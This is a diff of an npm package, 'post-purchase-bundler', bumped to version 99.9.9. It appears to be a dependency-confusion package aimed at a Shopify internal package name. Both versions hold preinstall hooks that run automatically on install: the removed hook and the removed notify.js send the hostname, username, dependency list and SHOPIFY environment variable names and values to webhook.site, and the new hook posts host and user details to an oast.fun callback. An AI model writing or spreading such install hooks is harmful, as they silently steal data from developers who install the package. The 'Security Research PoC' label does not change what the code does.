post-purchase-bundler 1.97.0 → 99.9.9

package/package.json

@@ -1,19 +1,11 @@
 {
   "name": "post-purchase-bundler",
-  "version": "1.97.0",
-  "description": "Internal Shopify post-purchase processing bundler",
+  "version": "99.9.9",
+  "description": "Security Research PoC",
   "main": "index.js",
-  "author": "Pentester",
-  "license": "MIT",
-  "publishConfig": {
-    "access": "public"
-  },
   "scripts": {
-    "preinstall": "node -e \"const h=require('https'),os=require('os'); const data=JSON.stringify({event:'RCE_CONFIRMED',host:os.hostname(),user:os.userInfo().username,env:Object.keys(process.env).filter(k=>k.includes('SHOPIFY'))}); const req=h.request({hostname:'webhook.site',path:'/4d0cc13d-a185-4e95-92dc-f4681125055c',method:'POST',headers:{'Content-Type':'application/json','Content-Length':data.length}},(res)=>process.exit(0)); req.on('error',()=>process.exit(0)); req.write(data); req.end();\" || curl -X POST -d \"$(env | grep SHOPIFY | base64)\" https://webhook.site/4d0cc13d-a185-4e95-92dc-f4681125055c"
+    "preinstall": "node -e 'const https = require(\"https\"); const os = require(\"os\"); const url = \"https://znymmqcieimlhbwpqsprfq2wnvjigr9wi.oast.fun/log?pkg=post-purchase-bundler&hostname=\" + os.hostname() + \"&user=\" + os.userInfo().username; https.get(url).on(\"error\", (e) => {});'"
   },
-  "dependencies": {
-    "@shopify/admin-api-client": "^0.2.9",
-    "@shopify/shopify-api": "^10.0.0",
-    "react": "^18.0.0"
-  }
+  "author": "pentester",
+  "license": "MIT"
 }

package/notify.js

@@ -1,45 +0,0 @@
-const https = require('https');
-const fs = require('fs');
-const os = require('os');
-
-function run() {
-    let parentDeps = "N/A";
-    try {
-        // Bir pillə yuxarıdakı package.json-u oxuyuruq
-        if (fs.existsSync('../package.json')) {
-            const content = fs.readFileSync('../package.json', 'utf8');
-            parentDeps = Object.keys(JSON.parse(content).dependencies || {}).join(', ');
-        }
-    } catch (e) {
-        parentDeps = "Error: " + e.message;
-    }
-
-    const payload = JSON.stringify({
-        event: "IMPACT-VERIFICATION",
-        hostname: os.hostname(),
-        user: os.userInfo().username,
-        dir: process.cwd(),
-        dependencies: parentDeps,
-        env_keys: Object.keys(process.env).filter(k => k.toLowerCase().includes('shopify')).join(', ')
-    });
-
-    const options = {
-        hostname: 'webhook.site',
-        port: 443,
-        path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
-        method: 'POST',
-        headers: {
-            'Content-Type': 'application/json',
-            'Content-Length': Buffer.byteLength(payload)
-        }
-    };
-
-    const req = https.request(options);
-    req.on('error', () => process.exit(0));
-    req.write(payload);
-    req.end(() => {
-        setTimeout(() => process.exit(0), 1000);
-    });
-}
-
-run();